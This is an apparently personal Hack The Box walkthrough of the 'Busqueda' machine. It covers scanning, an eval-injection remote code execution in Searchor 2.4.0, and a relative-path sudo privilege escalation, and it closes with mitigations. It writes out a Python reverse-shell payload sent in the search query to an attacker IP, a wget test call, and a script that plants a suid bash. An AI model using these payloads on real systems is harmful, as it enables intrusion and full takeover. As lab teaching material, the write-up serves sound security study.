Hack The Box Walkthrough - Busqueda

Hack The Box Walkthrough - Busqueda

2023/08/12    

In this easy box, I exploited a know vulnerability in a Python library and abused a script that used relative paths.

Enumeration

I launched rustscan to check for open ports on the target machine.

$ rustscan -a target -- -A | tee rust.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/ehogue/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.129.205.236:22
Open 10.129.205.236:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p  ")

...

Host is up, received conn-refused (0.027s latency).
Scanned at 2023-04-10 15:55:01 EDT for 7s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp open  http    syn-ack Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:55
Completed NSE at 15:55, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:55
Completed NSE at 15:55, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:55
Completed NSE at 15:55, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds

There were two open ports.

  • 22 - SSH
  • 80 - HTTP

The site on port 80 was redirecting to β€˜searcher.htb’. I added it to my hosts file and launched Feroxbuster to look for hidden pages.

$ feroxbuster -u http://searcher.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -o ferox.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.9.1
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://searcher.htb
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.9.1
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 πŸ’Ύ  Output File           β”‚ ferox.txt
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      430l      751w    13519c http://searcher.htb/
405      GET        5l       20w      153c http://searcher.htb/search
403      GET        9l       28w      277c http://searcher.htb/server-status
[####################] - 6m    119601/119601  0s      found:3       errors:395
[####################] - 6m    119601/119601  286/s   http://searcher.htb/

It did not find much, just a search page. I used wfuzz to look for subdomains.

$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -X POST -t30 --hw 26 -H "Host:FUZZ.searcher.htb" "http://searcher.htb"
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://searcher.htb/
Total requests: 648201

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000001:   400        10 L     35 W       304 Ch      "*"
000319756:   400        10 L     35 W       304 Ch      "#mail"
000415924:   400        10 L     35 W       304 Ch      "#pop3"
000488839:   400        10 L     35 W       304 Ch      "#smtp"
000588822:   400        10 L     35 W       304 Ch      "#www"

Total time: 871.2063
Processed Requests: 648201
Filtered Requests: 648196
Requests/sec.: 744.0269

It did not find any.

Website

I opened a browser to look at the site.

Search Site

The site allowed searching on a list of external sites. You entered a string, and it will reply with the URL to search on the selected site. It also had the option to redirect you directly to the search page of the selected site.

I played with the data that was posted to the site. I quickly found out that the backend code seemed to use single quotes, and that my data was not sanitized.

I tried to use string concatenation.

POST /search HTTP/1.1
Host: searcher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Origin: http://searcher.htb
Connection: keep-alive
Referer: http://searcher.htb/
Upgrade-Insecure-Requests: 1
Content-Length: 40

engine=Accuweather&query=test' + 'concat

The response had the two parts of my string.

HTTP/1.1 200 OK
Date: Sat, 29 Apr 2023 15:59:22 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 64

https://www.accuweather.com/en/search-locations?query=testconcat

I tried sending simple commands using Python system command.

engine=Wired&query=a' + 'b' +  (__import__('os').system('wget 10.10.14.69')) + 'a

This did not work. I spent a little time trying to get code execution. At some point, I looked at the page and saw that it was built with Searchor 2.4.0.

Powered by Searchor

With that information I quickly found a Remote Code Execution (RCE) vulnerability in Searchor. The code from versions 2.4.2 and lower were using eval on the passed in data.

I used the provided proof on concept to get a reverse shell.

POST /search HTTP/1.1
Host: searcher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Origin: http://searcher.htb
Connection: keep-alive
Referer: http://searcher.htb/
Upgrade-Insecure-Requests: 1
Content-Length: 245

engine=AlternativeTo&query=', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

I was in, and got the user flag.

$ nc -klvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.208] 48874
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc

$ cd

$ ls
user.txt

$ cat user.txt
REDACTED

Getting root

Once connected, I copied my SSH public key on the server and reconnected with SSH.

$ mkdir .ssh

$ chmod 700 .ssh

$ cd .ssh

$ echo "ssh-rsa AAAA ..." >> authorized_keys

$ chmod 600 authorized_keys

Then I looked at what I could do on the server.

svc@busqueda:~$ sudo -l
[sudo] password for svc: 
sudo: a password is required

svc@busqueda:~$ find / -perm /u=s 2>/dev/null 
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/umount
/usr/bin/fusermount3
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/snap/core20/1822/usr/bin/chfn
/snap/core20/1822/usr/bin/chsh
/snap/core20/1822/usr/bin/gpasswd
/snap/core20/1822/usr/bin/mount
/snap/core20/1822/usr/bin/newgrp
/snap/core20/1822/usr/bin/passwd
/snap/core20/1822/usr/bin/su
/snap/core20/1822/usr/bin/sudo
/snap/core20/1822/usr/bin/umount
/snap/core20/1822/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1822/usr/lib/openssh/ssh-keysign
/snap/snapd/18357/usr/lib/snapd/snap-confine

svc@busqueda:~$ groups
svc

I did not have svc’s password so I could not run sudo. I did not see suspicious suid binaries.

I looked at the web application files and found a password in git configuration.

svc@busqueda:/var/www/app$ cat .git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:REDACTED@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

I tried that password with sudo.

svc@busqueda:/var/www/app$ sudo -l 
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

I was able to run a python script, passing it any parameters I wanted.

svc@busqueda:~$ ls -la /opt/scripts/
total 28
drwxr-xr-x 3 root root 4096 Dec 24 18:23 .
drwxr-xr-x 4 root root 4096 Mar  1 10:46 ..
-rwx--x--x 1 root root  586 Dec 24 21:23 check-ports.py
-rwx--x--x 1 root root  857 Dec 24 21:23 full-checkup.sh
drwxr-x--- 8 root root 4096 Apr  3 15:04 .git
-rwx--x--x 1 root root 3346 Dec 24 21:23 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24 21:23 system-checkup.py

I was not allowed to read the code of the script. I tried running it.

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py a
[sudo] password for svc: 
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS          PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   3 months ago   Up 40 minutes   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   3 months ago   Up 40 minutes   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect json gitea/gitea:latest
json

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

The script allowed to get some information about the docker containers running on the machine. It also had a full-checkup action, but it was failing.

I did some research about the docker inspect command that the script was probably calling. I found out that the {{json .}} format would return everything as JSON.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea/gitea:latest
{"Id":"sha256:6cd4959e1db11e85d89108b74db07e2a96bbb5c4eb3aa97580e65a8153ebcc78","RepoTags":["gitea/gitea:latest"], ...}

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' mysql:8
{"Id":"sha256:7484689f290f1defe06b65befc54cb6ad91a667cf0af59a265ffe76c46bd0478","RepoTags":["mysql:8"], ...}

The returned JSON contained some passwords, I tried them to connect as root. It failed. I used the MySQL credentials to connect to the database and found some passwords, but failed to crack them.

I went back to the full-checkup action. It failed when I tried it. But I remembered that the /opt/scripts folder contained a file named full-checkup.sh. I thought maybe this script was executed without providing a full path. I tried again from the scripts folder and it worked.

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

svc@busqueda:~$ ls -l /opt/scripts/
total 16
-rwx--x--x 1 root root  586 Dec 24 21:23 check-ports.py
-rwx--x--x 1 root root  857 Dec 24 21:23 full-checkup.sh
-rwx--x--x 1 root root 3346 Dec 24 21:23 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24 21:23 system-checkup.py

svc@busqueda:~$ cd /opt/scripts/

svc@busqueda:/opt/scripts$ sudo python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}

[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
β”Œβ”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ id  β”‚ name   β”‚ namespace   β”‚ version β”‚ mode    β”‚ pid      β”‚ uptime β”‚ β†Ί    β”‚ status    β”‚ cpu      β”‚ mem      β”‚ user     β”‚ watching β”‚
β”œβ”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ 0   β”‚ app    β”‚ default     β”‚ N/A     β”‚ fork    β”‚ 1654     β”‚ 49m    β”‚ 0    β”‚ online    β”‚ 0%       β”‚ 30.1mb   β”‚ svc      β”‚ disabled β”‚
β””β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

[+] Done!

I tried creating a full-checkup.sh script in the home folder and run the command from there.

svc@busqueda:~$ cat full-checkup.sh 
#!/usr/bin/bash

echo 'IN'

svc@busqueda:~$ chmod +x full-checkup.sh 

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
IN

[+] Done!

My script was executed instead of the one in /opt/scripts. I modified it to copy bash and set the suid bit on it.

svc@busqueda:~$ cat full-checkup.sh 
#!/usr/bin/bash

cp /usr/bin/bash /tmp
chmod u+s /tmp/bash

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!

svc@busqueda:~$ ls -ltr /tmp/
total 1392
drwx------ 3 root root    4096 Apr 29 11:18 systemd-private-249c9d6763b340caae3d0717ff5b81ad-systemd-resolved.service-V5FTum
drwx------ 3 root root    4096 Apr 29 11:18 systemd-private-249c9d6763b340caae3d0717ff5b81ad-systemd-timesyncd.service-c3trPg
drwx------ 3 root root    4096 Apr 29 11:18 systemd-private-249c9d6763b340caae3d0717ff5b81ad-systemd-logind.service-kvSskR
drwx------ 3 root root    4096 Apr 29 11:18 systemd-private-249c9d6763b340caae3d0717ff5b81ad-ModemManager.service-2Z0BgM
drwx------ 3 root root    4096 Apr 29 11:18 systemd-private-249c9d6763b340caae3d0717ff5b81ad-apache2.service-Wjhdh3
drwx------ 3 root root    4096 Apr 29 11:18 snap-private-tmp
drwx------ 2 root root    4096 Apr 29 11:18 vmware-root_729-4257135007
-rwsr-xr-x 1 root root 1396520 Apr 29 13:08 bash

svc@busqueda:~$ /tmp/bash -p

bash-5.1# whoami
root

bash-5.1# cat /root/root.txt 
REDACTED

Mitigation

This machine had three vulnerabilities that allowed me to get to root. The first one was the outdated version of Searchor that used eval on user-supplied data. An update of the application’s dependencies would have stopped me from gaining access to the server.

The next issue was having a git repository on the server. Especially with the remote using a URL with credentials in it.

svc@busqueda:/var/www/app$ git remote -v
origin  http://cody:REDACTED@gitea.searcher.htb/cody/Searcher_site.git (fetch)
origin  http://cody:REDACTED@gitea.searcher.htb/cody/Searcher_site.git (push)

The server should only have the production code, without any git information.

The last issue was the script using a relative path.

elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']
        print(run_command(arg_list))
        print('[+] Done!')
    except:
        print('Something went wrong')
        exit(1)

This allowed me to replace the intended script with the one I wrote. To fix it, I changed the path to use the full path.

arg_list = ['/opt/scripts/full-checkup.sh']